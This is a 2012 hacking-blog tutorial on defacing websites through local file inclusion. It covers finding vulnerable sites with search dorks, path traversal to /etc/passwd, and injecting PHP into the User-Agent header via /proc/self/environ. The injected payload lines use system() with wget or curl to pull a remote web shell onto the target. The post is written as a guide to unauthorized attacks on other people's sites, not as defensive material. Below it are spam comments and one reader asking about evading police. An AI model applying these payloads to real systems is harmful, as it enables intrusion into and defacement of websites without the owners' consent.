BLACK BURN HACKER. Powered by Blogger.

Real Money Instantly


Wednesday, April 18, 2012

Defacing Website Using Advanced LFI [Full]

This type if Exploitation is generally know as LFI Exploitation via /proc/self/environ. Its is much more advanced than exploiting using /etc/passwd.
So lets Begin 

LFI (Local File Inclusion)

There are some requirements before you start to deface a website using LFI:
1.Download Firefox.
2.Download Tamper Data addon for firefox -

Finding Vulnerable Website

You can easily find a vulnerable website just by some googling with the help of dorks:
If you want more dorks then just goto or and search for LFI Dorks.

Test For Vulnerability
Now lets suppose you have chosen your website.Next task is to test wether the site is vulnerable or not,See below on how to test it:

Suppose you have found a website -
To test for its vulnerability, just replace home.php with any random word like 12, and if you get error on the page then the site is vulnerable. See below Image to see how a vulnerable site looks like:

If you get this type of error, then your website is vulnerable. You can now proceed to deface it!

So now our target website is
Now, we will use old traditional method to find that where can we upload our shell to deface the website.
To Find the injection path:
Replace home.php with ../etc/passwd
If the website seems to be normal then again put a "../" before "../etc/passwd" [without quotes] now if again you see that the site is looking normal then again put a "../" before "../etc/passwd"
so your URL will start looking like
Keep doing so untill you get a screen like shown below:

You can see here that i found the exact path after putting 19 "../" before "../etc/passwd".

You have completed half of your exploit:

Now suppose that our injection path looks like -
Now you have to do is that just replace "etc/passwd" with "proc/self/environ" and you will some codes like shown below:

Uploading shell
Now we have to use Tamper Data to edit our user-agent to a bit of php code to execute bash commands. On firefox go to tools , Tamper Data then click start tamper.Then go to your URL and click tamper:

Now from here on, we can execute bash commands with a little bit of php code. Just Replace your user agent in the following screen with this piece of code:
<?system('wget -O shell.php');?>


<?system('curl -o shell.php');?>

Where is the site were you have hosted your shell in TXT format

Now click "OK"

When Done, Navigate to the shell by going to - and you will see something like below:

This is your shell and from here on you can deface the whole website!
It took me a lot of time to write this tutorial, a "thank" is very much appreciated!


©2012, copyright BLACK BURN


  1. This is illegal, are police going to trace me down? Should I use Tor?

  2. AppGenerate was created by a group of iOS, Android, and HTML5 developers who decided it was time for anyone to be able to build their own mobile apps. We believe the mobile revolution is here. In 2011, retailers like Amazon received more traffic from mobile devices than they did desktop and laptop computers. Just imagine that it's not just a big slice of traffic, it's more than 50%. Just like the dawn of the Internet revolution, if your business doesn't have a presence in mobile, you'll be left behind, or worse, you won't even exist.
    app maker
    app builder
    mobile app builder software free
    mobile app maker software
    mobile app maker online
    generate app

  3. "Over the last four days Patrick has shown me some stratigies that will absolutely take my business to the next level.”

    Small business consulting



7 Years Earning Experience

The Earning Source You Can Trust

Follow by Email